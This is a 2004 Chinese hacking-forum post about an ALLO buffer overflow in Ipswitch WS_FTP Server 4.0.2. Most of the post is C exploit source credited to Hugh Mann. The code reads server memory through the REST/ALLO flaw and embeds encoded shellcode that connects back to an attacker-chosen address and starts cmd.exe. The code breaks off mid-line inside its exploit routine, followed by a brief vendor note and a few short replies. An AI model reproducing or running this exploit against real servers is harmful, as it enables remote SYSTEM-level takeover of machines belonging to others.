论坛: 黑客进阶 标题: IpswitchWS_FTPALLO任意代码执行缺陷(APP) 复制本贴地址    
作者: qiuyang [qiuyang]    版主   登录
 
详细:
Ipswitch WS_FTP Server是一款适用于Windows系统的FTP服务程序。

Ipswitch WS_FTP Server在ALLO处理上存在问题,问题存在于ALLO处理函数上,当它发送错误字符串给客户端时,它会把用户目录和子目录中的所有文件的字节数以64位值来代替ASCIIZ字符串压到堆栈中,而利用WS_FTP的REST漏洞可方便的控制这个值,因此更改这个值大小等于~256可以覆盖返回地址,远程攻击者可以利用这个漏洞进行缓冲区溢出以SYSTEM权限执行任意指令。


受影响系统:
            Ipswitch WS FTP Server 4.0.2.EVAL



 
攻击方法:
Hugh Mann (hughmann@hotmail.com)提供了如下测试方法:

/*
* Ipswitch WS_FTP Server <= 4.0.2 ALLO exploit
* (c)2004 Hugh Mann hughmann@hotmail.com
*
* This exploit has been tested with WS_FTP Server 4.0.2.EVAL, Windows XP SP1
*
* NOTE:
* - The exploit assumes the user has a total file size limit. If the user only has
*  a max number of files limit you will need to rewrite parts of this exploit for
*  it to work.
*/

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char* temp_file = "#t#t#t";
#define ALLO_STRING "ALLO 18446744073709551615"

/*
* Assume all addresses >= this address to be invalid addresses. If the exploit doesn't work,
* try changing it to a larger value, eg. 0x80000000 or 0xC0000000.
*/
const MAX_ADDR = 0x80000000;

/*
* Size of each thread's stack space. From iFtpSvc.exe PE header. Must be a power of 2.
* Should not be necessary to change this since practically all PE files use the default
* size (1MB).
*/
const SERV_STK_SIZE = 0x00100000;

/*
* This is the lower bits of ESP when the ALLO handler is called. This is very WS_FTP Server
* version dependent. Should be = ESP (mod SERV_STK_SIZE)
*/
const SERV_STK_OFFS = 0x0007F208;

/*
* This is the offset of the "this" pointer relative to SERV_STK_OFFS in the ALLO handler.
*/
const SERV_STK_THIS_OFFS = -(0x210+4);  // EBP is saved

/*
* Offset of username relative to the "this" pointer
*/
const SERV_THIS_USERNAME_OFFS = 0x9F8;

/*
* Offset of FTP cmd buf relative to the "this" pointer
*/
const SERV_THIS_CMDBUF_OFFS = 0x1F8;

/*
* Offset of EIP relative to vulnerable buffer
*/
const SERV_BUF_EIP = 0x110;

/*
* Return addresses to JMP ESP instruction. Must contain bytes that are valid shellcode characters.
*/
#if 1
const char* ret_addr = "\xD3\xD9\xE2\x77";  // advapi32.dll (08/29/2002), WinXP SP1
#else
// mswsock.dll is not loaded by WS_FTP Server, and I haven't investigated which DLL actually loads it
// so I don't use this possibly better return address.
const char* ret_addr = "\x3D\x40\xA5\x71";  // mswsock.dll (08/23/2001), WinXP SP1 and probably WinXP too
#endif

#define MAXLINE 0x1000

static char inbuf[MAXLINE];
static unsigned inoffs = 0;
static char last_line[MAXLINE];
static int output_all = 0;
static int quite_you = 0;

void msg2(const char *format, ...)
{
  va_list args;
  va_start(args, format);
  vfprintf(stdout, format, args);
}

void msg(const char *format, ...)
{
  if (quite_you && output_all == 0)
    return;

  va_list args;
  va_start(args, format);
  vfprintf(stdout, format, args);
}

int isrd(SOCKET s)
{
  fd_set r;
  FD_ZERO(&r);
  FD_SET(s, &r);
  timeval t = {0, 0};
  int ret = select(1, &r, NULL, NULL, &t);
  if (ret < 0)
    return 0;
  else
    return ret != 0;
}

void print_all(const char* buf, int len = -1)
{
  if (len == -1)
    len = (int)strlen(buf);

  for (int i = 0; i < len; i++)
    putc(buf[i], stdout);
}

int _recv(SOCKET s, char* buf, int len, int flags)
{
  int ret = recv(s, buf, len, flags);
  if (!output_all || ret < 0)
    return ret;

  print_all(buf, ret);
  return ret;
}

int get_line(SOCKET s, char* string, unsigned len)
{
  char* nl;
  while ((nl = (char*)memchr(inbuf, '\n', inoffs)) == NULL)
  {
    if (inoffs >= sizeof(inbuf))
    {
        msg("[-] Too long line\n");
        return 0;
    }
    int len = _recv(s, &inbuf[inoffs], sizeof(inbuf) - inoffs, 0);
    if (len <= 0)
    {
        msg("[-] Error receiving data\n");
        return 0;
    }

    inoffs += len;
  }

  strncpy(last_line, inbuf, sizeof(last_line));
  last_line[sizeof(last_line)-1] = 0;

  unsigned nlidx = (unsigned)(ULONG_PTR)(nl - inbuf);
  if (nlidx >= len)
  {
    msg("[-] Too small caller buffer\n");
    return 0;
  }
  memcpy(string, inbuf, nlidx);
  string[nlidx] = 0;
  if (nlidx > 0 && string[nlidx-1] == '\r')
    string[nlidx-1] = 0;

  if (nlidx + 1 >= inoffs)
    inoffs = 0;
  else
  {
    memcpy(inbuf, &inbuf[nlidx+1], inoffs - (nlidx + 1));
    inoffs -= nlidx + 1;
  }

  return 1;
}

int ignorerd(SOCKET s)
{
  inoffs = 0;

  while (1)
  {
    if (!isrd(s))
        return 1;
    if (_recv(s, inbuf, sizeof(inbuf), 0) < 0)
        return 0;
  }
}

int get_reply_code(SOCKET s, int (*func)(void* data, char* line) = NULL, void* data = NULL)
{
  char line[MAXLINE];

  if (!get_line(s, line, sizeof(line)))
  {
    msg("[-] Could not get status code\n");
    return -1;
  }
  if (func)
    func(data, line);

  char c = line[3];
  line[3] = 0;
  int code;
  if (!(c == ' ' || c == '-') || strlen(line) != 3 || !(code = atoi(line)))
  {
    msg("[-] Weird reply\n");
    return -1;
  }

  char endline[4];
  memcpy(endline, line, 3);
  endline[3] = ' ';
  if (c == '-')
  {
    while (1)
    {
        if (!get_line(s, line, sizeof(line)))
        {
          msg("[-] Could not get next line\n");
          return -1;
        }
        if (func)
          func(data, line);
        if (!memcmp(line, endline, sizeof(endline)))
          break;
    }
  }

  return code;
}

int sendb(SOCKET s, const char* buf, int len, int flags = 0)
{
  while (len)
  {
    int l = send(s, buf, len, flags);
    if (l <= 0)
        break;
    len -= l;
    buf += l;
  }

  return len == 0;
}

int sends(SOCKET s, const char* buf, int flags = 0)
{
  return sendb(s, buf, (int)strlen(buf), flags);
}

int _send_cmd(SOCKET s, const char* fmt, va_list args, int need_reply)
{
  char buf[MAXLINE];
  buf[sizeof(buf)-1] = 0;
  if (_vsnprintf(buf, sizeof(buf), fmt, args) < 0 || buf[sizeof(buf)-1] != 0)
  {
    msg("[-] Buffer overflow\n");
    return -1;
  }

  if (output_all)
    print_all(buf);

  if (!ignorerd(s) || !sends(s, buf))
    return -1;

  if (need_reply)
    return get_reply_code(s);

  return 0;
}

int send_cmd(SOCKET s, const char* fmt, ...)
{
  va_list args;
  va_start(args, fmt);
  return _send_cmd(s, fmt, args, 1);
}

int send_cmd2(SOCKET s, const char* fmt, ...)
{
  va_list args;
  va_start(args, fmt);
  return _send_cmd(s, fmt, args, 0);
}

int add_bytes(void* dst, int& dstoffs, int dstlen, const void* src, int srclen)
{
  if (dstoffs < 0 || dstoffs + srclen > dstlen || dstoffs + srclen < dstoffs)
  {
    msg("[-] Buffer overflow ;)\n");
    return 0;
  }

  memcpy((char*)dst+dstoffs, src, srclen);
  dstoffs += srclen;
  return 1;
}

int check_invd_bytes(const char* name, const void* buf, int buflen, int (*chkchar)(char c))
{
  const char* b = (const char*)buf;

  for (int i = 0; i < buflen; i++)
  {
    if (!chkchar(b[i]))
    {
        msg("[-] %s[%u] (%02X) is an invalid character\n", name, i, (unsigned char)b[i]);
        return 0;
    }
  }

  return 1;
}

int enc_byte(char& c, char& k, int (*chkchar)(char c))
{
  for (int i = 0; i < 0x100; i++)
  {
    if (!chkchar(c ^ i) || !chkchar(i))
        continue;

    c ^= i;
    k = i;
    return 1;
  }

  msg("[-] Could not find encryption key for byte %02X\n", c);
  return 0;
}

int get_enc_key(char* buf, int size, int offs, int step, int (*chkchar)(char c), int ignore1 = -1, int ignore2 = -1)
{
  for (int i = 0; i < 0x100; i++)
  {
    if (!chkchar(i))
        continue;

    for (int j = offs; j < size; j += step)
    {
        if (ignore1 != -1 && (j >= ignore1 && j <= ignore2))
          continue;  // These bytes aren't encrypted
        if (!chkchar(buf[j] ^ i))
          break;
    }
    if (j < size)
        continue;

    return i;
  }

  msg("[-] Could not find an encryption key\n");
  return -1;
}

int login(SOCKET s, const char* username, const char* userpass)
{
  msg("[+] Logging in as %s...\n", username);
  int code;
  if ((code = send_cmd(s, "USER %s\r\n", username)) < 0)
  {
    msg("[-] Failed to log in #1\n");
    return 0;
  }

  if (code == 331)
  {
    if ((code = send_cmd(s, "PASS %s\r\n", userpass)) < 0)
    {
        msg("[-] Failed to log in #2\n");
        return 0;
    }
  }

  if (code != 230)
  {
    msg("[-] Failed to log in. Code %3u\n", code);
    return 0;
  }

  msg("[+] Logged in\n");
  return 1;
}

class xuser
{
public:
  xuser() : s(INVALID_SOCKET) {}
  ~xuser() {close();}
  int init(unsigned long ip, unsigned short port, const char* username, const char* userpass);
  void close() {if (s >= 0) closesocket(s); s = INVALID_SOCKET;}
  SOCKET sock() const {return s;}
  int exploit(unsigned long sip, unsigned short sport);
  int read_serv_mem_bytes(unsigned addr, void* dst, int dstlen);
  int read_serv_mem_string(unsigned addr, char* dst, int dstlen);
  int read_serv_mem_uint32(unsigned addr, unsigned* dst);

protected:
  int read_serv_mem(unsigned addr, void* dst, int dstlen);

  SOCKET s;
  char username[260];
  char userpass[260];
  unsigned long ip;
  unsigned short port;
};

/*
* XAUT code tested with WS_FTP Server 4.0.2.EVAL
*/
#define XAUT_2_KEY 0x49327576

int xaut_encrypt(char* dst, const char* src, int len, unsigned long key)
{
  unsigned char keybuf[0x80*4];

  for (int i = 0; i < sizeof(keybuf)/4; i++)
  {
    keybuf[i*4+0] = (char)key;
    keybuf[i*4+1] = (char)(key >> 8);
    keybuf[i*4+2] = (char)(key >> 16);
    keybuf[i*4+3] = (char)(key >> 24);
  }

  for (int i = 0; i < len; i++)
  {
    if (i >= sizeof(keybuf))
    {
        msg("[-] xaut_encrypt: Too long input buffer\n");
        return 0;
    }
    *dst++ = *src++ ^ keybuf[i];
  }

  return 1;
}

char* xaut_unpack(char* src, int len, int delete_it)
{
  char* dst = new char[len*2 + 1];

  for (int i = 0; i < len; i++)
  {
    dst[i*2+0] = ((src[i] >> 4) & 0x0F) + 0x35;
    dst[i*2+1] = (src[i] & 0x0F) + 0x31;
  }
  dst[i*2] = 0;

  if (delete_it)
    delete src;

  return dst;
}

int xaut_login(SOCKET s, int d, const char* username, const char* password, unsigned long key)
{
  msg("[+] Logging in [XAUT] as %s...\n", username);
  int ret = 0;
  char* dst = NULL;
  __try
  {
    const char* middle = ":";
    dst = new char[strlen(username) + strlen(middle) + strlen(password) + 1];
    strcpy(dst, username);
    strcat(dst, middle);
    strcat(dst, password);
    int len = (int)strlen(dst);
    if ((d == 2 && !xaut_encrypt(dst, dst, len, XAUT_2_KEY)) || !xaut_encrypt(dst, dst, len, key))
        __leave;

    dst = xaut_unpack(dst, len, 1);
    if (send_cmd(s, "XAUT %d %s\r\n", d, dst) != 230)
        __leave;

    ret = 1;
  }
  __finally
  {
    delete dst;
  }

  if (!ret)
    msg("[-] Failed to log in\n");
  else
    msg("[+] Logged in\n");

  return ret;
}

struct my_data
{
  unsigned long key;
  int done_that;
  char hostname[256];
};

int line_callback(void* data, char* line)
{
  my_data* m = (my_data*)data;
  if (m->done_that)
    return 1;

  /*
  * Looking for a line similar to:
  *
  *  "220-FTP_HOSTNAME X2 WS_FTP Server 4.0.2.EVAL (41541732)\r\n"
  */
  char* s, *e;
  if (strncmp(line, "220", 3) || !strstr(line, "WS_FTP Server") ||
    (s = strrchr(line, '(')) == NULL || (e = strchr(s, ')')) == NULL)
    return 1;

  char buf[0x10];
  int len = (int)(ULONG_PTR)(e - (s+1));
  if (len >= sizeof(buf) || len > 10)
    return 1;
  memcpy(buf, s+1, len);
  buf[len] = 0;
  for (int i = 0; i < len; i++)
  {
    if (!isdigit((unsigned char)buf[i]))
        return 1;
  }
  m->key = atol(buf);

  for (int i = 4, len = (int)strlen(line); i < len; i++)
  {
    if (i-4 >= sizeof(m->hostname))
        return 1;
    m->hostname[i-4] = line[i];
    if (line[i] == ' ')
        break;
  }
  m->hostname[i-4] = 0;
  if (m->hostname[0] == 0)
    return 1;

  m->done_that = 1;
  return 1;
}

int xuser::init(unsigned long _ip, unsigned short _port, const char* _username, const char* _userpass)
{
  ip = _ip;
  port = _port;
  close();

  strncpy(username, _username, sizeof(username));
  if (username[sizeof(username)-1] != 0)
  {
    msg("[-] username too long\n");
    return 0;
  }
  strncpy(userpass, _userpass, sizeof(userpass));
  if (userpass[sizeof(userpass)-1] != 0)
  {
    msg("[-] userpass too long\n");
    return 0;
  }

  sockaddr_in saddr;
  memset(&saddr, 0, sizeof(saddr));
  saddr.sin_family = AF_INET;
  saddr.sin_port = htons(port);
  saddr.sin_addr.s_addr = htonl(ip);

  in_addr a; a.s_addr = htonl(ip);
  msg("[+] Connecting to %s:%u...\n", inet_ntoa(a), port);
  s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (s < 0 || connect(s, (sockaddr*)&saddr, sizeof(saddr)) < 0)
  {
    msg("[-] Could not connect\n");
    return 0;
  }
  msg("[+] Connected\n");

  my_data m;
  memset(&m, 0, sizeof(m));
  int code = get_reply_code(s, line_callback, &m);
  if (code != 220)
  {
    msg("[-] Got reply %3u\n", code);
    return 0;
  }
  else if (!m.done_that)
  {
    msg("[-] Could not find XAUT key or host name => Not a WS_FTP Server\n");
    return 0;
  }

  if (!xaut_login(s, 0, username, userpass, m.key) && !login(s, username, userpass))
    return 0;

  // Don't want UTF8 conversions
  if (send_cmd(s, "LANG en\r\n") != 200)
  {
    msg("[-] Apparently they don't understand the english language\n");
    return 0;
  }

  if (send_cmd(s, "NOOP step into the light\r\n") != 200)
  {
    msg("[-] C4n't k1ll 4 z0mbie\n");
    return 0;
  }

  return 1;
}

SOCKET get_data_sock(SOCKET s, const char* filename, const char* cmd)
{
  SOCKET sd = INVALID_SOCKET;

  int error = 1;
  __try
  {
    sockaddr_in saddr;
    int len = sizeof(saddr);
    if (getsockname(s, (sockaddr*)&saddr, &len) < 0 || len != sizeof(saddr) ||
        (sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
        __leave;

    sockaddr_in daddr;
    memset(&daddr, 0, sizeof(daddr));
    daddr.sin_family = AF_INET;
    daddr.sin_port = 0;
    daddr.sin_addr.s_addr = saddr.sin_addr.s_addr;
    len = sizeof(daddr);
    if (bind(sd, (sockaddr*)&daddr, sizeof(daddr)) < 0 || listen(sd, 1) < 0 ||
        getsockname(sd, (sockaddr*)&daddr, &len) < 0 || len != sizeof(daddr))
        __leave;

    unsigned long ip = ntohl(daddr.sin_addr.s_addr);
    unsigned short port = ntohs(daddr.sin_port);
    if (send_cmd(s, "PORT %u,%u,%u,%u,%u,%u\r\n",
        (unsigned char)(ip >> 24),
        (unsigned char)(ip >> 16),
        (unsigned char)(ip >> 8),
        (unsigned char)ip,
        (unsigned char)(port >> 8),
        (unsigned char)port) != 200)
        __leave;

    if (send_cmd2(s, "%s %s\r\n", cmd, filename) < 0)
        __leave;

    msg("[+] Waiting for server to connect...\n");
    SOCKET sa;
    sockaddr_in aaddr;
    len = sizeof(aaddr);
    if ((sa = accept(sd, (sockaddr*)&aaddr, &len)) < 0)
        __leave;
    closesocket(sd);
    sd = sa;

    if (get_reply_code(s) != 150)
        __leave;

    error = 0;
  }
  __finally
  {
    if (error)
    {
        msg("[-] Could not create data connection, %u\n", GetLastError());
        closesocket(sd);
        sd = INVALID_SOCKET;
    }
    else
        msg("[+] Server connected\n");
  }

  return sd;
}

int create_file(SOCKET s, const char* tmpname, unsigned size = 1)
{
  int ret = 0;

  SOCKET sd = INVALID_SOCKET;
  __try
  {
    if (size > 1 && send_cmd(s, "REST %u\r\n", size) != 350)
        __leave;
    if ((sd = get_data_sock(s, tmpname, "STOR")) < 0)
        __leave;

    ret = 1;
  }
  __finally
  {
    if (sd >= 0)
        closesocket(sd);
  }
  if (ret && get_reply_code(s) != 226)
    ret = 0;

  return ret;
}

const unsigned int shlc2_offs_encstart = 0x0000002B;
const unsigned int shlc2_offs_encend = 0x000001B8;
const unsigned int shlc2_offs_enckey = 0x00000025;
unsigned char shlc2_code[] =
"\xEB\x16\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56"
"\x34\x12\x5B\x53\x83\xEB\x1D\xC3\xE8\xF5\xFF\xFF\xFF\x33\xC9\xB1"
"\x64\x81\x74\x8B\x27\x55\x55\x55\x55\xE2\xF6\xFC\x8B\x43\x0A\x31"
"\x43\x02\x8B\x43\x0E\x31\x43\x06\x89\x4B\x0A\x89\x4B\x0E\x64\x8B"
"\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\xAD\x8B\x68\x08\x8D"
"\x83\x67\x01\x00\x00\x55\xE8\xB7\x00\x00\x00\x68\x33\x32\x00\x00"
"\x68\x77\x73\x32\x5F\x54\xFF\xD0\x96\x8D\x83\x74\x01\x00\x00\x56"
"\xE8\x9D\x00\x00\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x01\x01\x00"
"\x00\xFF\xD0\x8D\x83\x7F\x01\x00\x00\x56\xE8\x83\x00\x00\x00\x33"
"\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x97\x8D\x83\x8A"
"\x01\x00\x00\x56\xE8\x69\x00\x00\x00\x33\xC9\x51\x51\x51\x51\x6A"
"\x10\x8D\x4B\x02\x51\x57\xFF\xD0\xB9\x54\x00\x00\x00\x2B\xE1\x88"
"\x6C\x0C\xFF\xE2\xFA\xC6\x44\x24\x10\x44\x41\x88\x4C\x24\x3C\x88"
"\x4C\x24\x3D\x89\x7C\x24\x48\x89\x7C\x24\x4C\x89\x7C\x24\x50\x49"
"\x8D\x44\x24\x10\x54\x50\x51\x51\x51\x6A\x01\x51\x51\x8D\x83\xA4"
"\x01\x00\x00\x50\x51\x8D\x83\x95\x01\x00\x00\x55\xE8\x11\x00\x00"
"\x00\x59\xFF\xD0\x8D\x83\xAC\x01\x00\x00\x55\xE8\x02\x00\x00\x00"
"\xFF\xD0\x60\x8B\x7C\x24\x24\x8D\x6F\x78\x03\x6F\x3C\x8B\x6D\x00"
"\x03\xEF\x83\xC9\xFF\x41\x3B\x4D\x18\x72\x0B\x64\x89\x0D\x00\x00"
"\x00\x00\x8B\xE1\xFF\xE4\x8B\x5D\x20\x03\xDF\x8B\x1C\x8B\x03\xDF"
"\x8B\x74\x24\x1C\xAC\x38\x03\x75\xDC\x43\x84\xC0\x75\xF6\x8B\x5D"
"\x24\x03\xDF\x0F\xB7\x0C\x4B\x8B\x5D\x1C\x03\xDF\x8B\x0C\x8B\x03"
"\xCF\x89\x4C\x24\x1C\x61\xC3\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61"
"\x72\x79\x41\x00\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x00\x57"
"\x53\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x57\x53\x41\x43\x6F\x6E"
"\x6E\x65\x63\x74\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65"
"\x73\x73\x41\x00\x63\x6D\x64\x2E\x65\x78\x65\x00\x45\x78\x69\x74"
"\x50\x72\x6F\x63\x65\x73\x73\x00";

int is_valid_shlc2(char c)
{
  return c != 0;
}

struct tfs_data
{
  tfs_data() : tot_size(0), line(0), ok(0) {}
  int line;
  unsigned tot_size;
  int ok;
};

int tfs_line_callback(void* data, char* line)
{
  tfs_data* m = (tfs_data*)data;
  if (++m->line != 1)
    return 1;

  if (strncmp(line, "250-", 4) ||
    (m->tot_size = atoi(line+4)) == 0)
    return 1;

  m->ok = 1;
  return 1;
}

int get_user_total_file_size(SOCKET s, unsigned& tot_size)
{
  int ret = 0;
  SOCKET sd = INVALID_SOCKET;
  __try
  {
    /*
      * Create a $message.txt file
      */
    if ((sd = get_data_sock(s, "$message.txt", "STOR")) < 0 ||
        send(sd, "%z", 2, 0) != 2)
        __leave;
    closesocket(sd);
    sd = INVALID_SOCKET;
    if (get_reply_code(s) != 226)
        __leave;

    tfs_data m;
    const DWORD max_wait = 10000;
    for (DWORD tc = GetTickCount(); GetTickCount() - tc < max_wait; )
    {
        if (send_cmd2(s, "CWD .\r\n") < 0)
          __leave;
        m.ok = m.line = 0;
        int code = get_reply_code(s, tfs_line_callback, &m);
        if (code != 500)
          break;
    }

    if (!m.ok)
        __leave;

    tot_size = m.tot_size;
    ret = 1;
  }
  __finally
  {
    if (sd >= 0)
        closesocket(sd);
  }

  if (!ret)
    msg("[-] Failed to get user total file size.\n  Are you sure there's a total file size limit for this user?\n");

  return ret;
}

int delete_file(SOCKET s, const char* filename)
{
  DWORD tc = GetTickCount();
  const DWORD wait = 10000;
  while (1)
  {
    if (GetTickCount() - tc > wait)
        return 0;

    if (send_cmd(s, "STAT %s\r\n", filename) != 211)
        return 1;
    if (send_cmd(s, "DELE %s\r\n", filename) < 0)
        return 0;
  }
}

int create_file_for_addr(SOCKET s, unsigned addr)
{
  int ret = 0;
  __try
  {
    if (addr >= MAX_ADDR)
    {
        msg2("[-] Trying to read an addr (%08X) >= MAX_ADDR (%08X)\n", addr, MAX_ADDR);
        __leave;
    }
    if (!delete_file(s, temp_file))
        msg("[-] Could not delete file\n");

    unsigned tot_size;
    if (!get_user_total_file_size(s, tot_size))
        __leave;

    if (addr < tot_size)
    {
        msg2("[-] You must delete some user files to read address %08X\n", addr);
        __leave;
    }
    unsigned size = addr - tot_size;
    if (!create_file(s, temp_file, size))
        __leave;

    ret = 1;
  }
  __finally
  {
  }

  return ret;
}

/*
* Returns < 0 => error
* Returns = 0 => server thread crashed
* Returns > 0 => read this many bytes into dst
*/
int xuser::read_serv_mem(unsigned addr, void* dst, int dstlen)
{
  int file_created = 0;
  int ret = -1;
  __try
  {
    if (!create_file_for_addr(s, addr))
        __leave;
    file_created = 1;

    if (send_cmd2(s, ALLO_STRING "\r\n") < 0)
        __leave;

    char buf[MAXLINE];
    int bufsz = 0;
    const char* m1 = "452 ";
    int type = 0;
    while (1)
    {
        if (bufsz >= sizeof(buf)-1)
          __leave;

        int size = _recv(s, &buf[bufsz], sizeof(buf)-1-bufsz, 0);
        if (size < 0)
          __leave;
        if (size == 0)
        {
          if (bufsz == 0)
            ret = 0;
          __leave;
        }
        bufsz += size;
        buf[bufsz] = 0;

        if (bufsz >= (int)strlen(m1) && memcmp(m1, buf, strlen(m1)))
          __leave;  // Wrong reply code

        const char* s1 = " files\r\n";
        const char* s2 = " size\r\n";
        if (bufsz >= (int)strlen(s1) && !memcmp(s1, &buf[bufsz-strlen(s1)], strlen(s1)))
        {
          type = 0;
          break;
        }
        if (bufsz >= (int)strlen(s2) && !memcmp(s2, &buf[bufsz-strlen(s2)], strlen(s2)))
        {
          type = 1;
          break;
        }
    }

    const char* s = "quota exceeded; ";
    const char* f1 = " size; ";
    const char* f2 = " size\r\n";
    const char* f3 = " files; ";
    char* b = buf + strlen(m1);
    if (strncmp(b, s, strlen(s)))
        __leave;
    char* ss = NULL, *se = NULL;
    if (type == 0)  // "quota exceeded; %s size; %u files\r\n"
    {
        ss = b + strlen(s);
        for (int i = bufsz-(int)strlen(f1); ; i--)
        {
          if (i < 0)
            __leave;
          if (strncmp(f1, &buf[i], strlen(f1)))
            continue;  // Not equal to " size; "
          se = &buf[i];
          break;
        }
    }
    else        // "quota exceeded; %u files; %s size\r\n"
    {
        ss = strstr(buf, f3);
        if (!ss)
          __leave;
        ss += strlen(f3);
        se = &buf[bufsz-strlen(f2)];
    }
    if (!se || !ss || se < ss)
    {
        msg("[-] Buggy code\n");
        __leave;
    }

    *se = 0;
    int rd_size = (int)(UINT_PTR)(se - ss) + 1;  // One 00h byte
    ret = min((int)dstlen, rd_size);
    memcpy(dst, ss, ret);
  }
  __finally
  {
  }

  if (ret < 0)
    msg("[-] Could not read server memory\n");
  else if (ret == 0)
  {
    // Server thread crashed
    if (!init(ip, port, username, userpass))
        ret = -1;
  }

  return ret;
}

int xuser::read_serv_mem_bytes(unsigned addr, void* dst, int dstlen)
{
  for (int i = 0; i < (int)dstlen; )
  {
    int len = read_serv_mem(addr+i, (char*)dst+i, dstlen-i);
    if (len <= 0)
        return len;
    i += len;
  }

  return dstlen;
}

int xuser::read_serv_mem_string(unsigned addr, char* dst, int dstlen)
{
  int len = read_serv_mem(addr, dst, dstlen);
  if (len <= 0)
    return len;
  if (dst[len-1] != 0)
    return -1;
  return len;
}

int xuser::read_serv_mem_uint32(unsigned addr, unsigned* dst)
{
  unsigned char tmp[4];
  int ret = read_serv_mem_bytes(addr, tmp, sizeof(tmp));
  if (ret <= 0)
    return ret;
  if (ret != sizeof(tmp))
    return -1;

  *dst = (tmp[3] << 24) | (tmp[2] << 16) | (tmp[1] << 8) | tmp[0];
  return ret;
}

int xuser::exploit(unsigned long sip, unsigned short sport)
{
  int ret = 0;
  char* shellcode = NULL;
  char* badbuf = NULL;
  __try
  {
    /*
      * Encrypt the shellcode
      */
    const shellcode_len = sizeof(shlc2_code)-1;
    shellcode = new char[shellcode_len+1];
    memcpy(shellcode, shlc2_code, shellcode_len);
    shellcode[shellcode_len] = 0;

    shellcode[2] = (char)2;
    shellcode[3] = (char)(2 >> 8);
    shellcode[4] = (char)(sport >> 8);
    shellcode[5] = (char)sport;
    shellcode[6] = (char)(sip >> 24);
    shellcode[7] = (char)(sip >> 16);
    shellcode[8] = (char)(sip >> 8);
    shellcode[9] = (char)sip;
    for (int i = 0; i < 8; i++)
    {
        if (!enc_byte(shellcode[2+i], shellcode[2+8+i], is_valid_shlc2))
          __leave;
    }

    for (int i = 0; i < 4; i++)
    {
        int k = get_enc_key(&shellcode[shlc2_offs_encstart], shlc2_offs_encend-shlc2_offs_encstart, i, 4, is_valid_shlc2);
        if (k < 0)
          __leave;
        shellcode[shlc2_offs_enckey+i] = k;
    }
    msg("[+] Shellcode encryption key = %02X%02X%02X%02X\n",
        (unsigned char)shellcode[shlc2_offs_enckey+3],
        (unsigned char)shellcode[shlc2_offs_enckey+2],
        (unsigned char)shellcode[shlc2_offs_enckey+1],
        (unsigned char)shellcode[shlc2_offs_enckey]);
    for (int i = 0; i < shlc2_offs_encend-shlc2_offs_encstart; i++)
        shellcode[shlc2_offs_encstart+i] ^= shellcode[shlc2_offs_enckey + i % 4];

    /*
      * Do some sanity checks
      */
    if (!check_invd_bytes("shellcode", shellcode, shellcode_len, is_valid_shlc2) ||
        !check_invd_bytes("ret_addr", ret_addr, 4, is_valid_shlc2))
        __leave;

    if (!delete_file(s, temp_file))
    {
        msg("Could not delete file\n");
        __leave;
    }

    unsigned tot_size;
    if (!get_user_total_file_size(s, tot_size))
        __leave;

    msg("[+] Scanning server memory: ");
    quite_you = 1;
    const unsigned ADDR_START = SERV_STK_SIZE;
    const unsigned ADDR_END = MAX_ADDR-1;
    unsigned this_ptr;
    for (unsigned addr = ADDR_START; ; addr += SERV_STK_SIZE)
    {
        if (addr > ADDR_END || !addr)
        {
          /*
          * Can happen if the address of the thread's stack is not in the same position in
          * memory. This most likely happens when another user logged in or it sent a FTP
          * command which creates a new server thread. Try again.
          */
          msg2("[-] Could not find the this ptr. Try again.\n");
          __leave;
        }
        int rc = read_serv_mem_uint32(addr + SERV_STK_OFFS + SERV_STK_THIS_OFFS, &this_ptr);
        if (rc < 0)
        {
          msg2("- unknown error\n");  // Error
          __leave;
        }
        else if (rc == 0)
        {
          msg2("x");  // Crashed
        }
        else
        {
          msg2(".");  // Bingo

          char tmp[0x200];
          if (this_ptr + SERV_THIS_USERNAME_OFFS < MAX_ADDR && this_ptr + SERV_THIS_CMDBUF_OFFS < MAX_ADDR &


 
解决方案:
厂商目前还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ipswitch.com/


地主 发表时间: 04-04-04 03:13

回复: lqfrla [lqfrla]   论坛用户   登录
我只知道是C

B1层 发表时间: 04-04-04 06:56

回复: jiaoyulao [jiaoyulao]   论坛用户   登录
太好了!!GOOD

B2层 发表时间: 04-04-05 19:11

回复: z7 [skyzz]   论坛用户   登录
还是C好 
哎 要学的东西好多啊~~

B3层 发表时间: 04-04-05 21:50

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号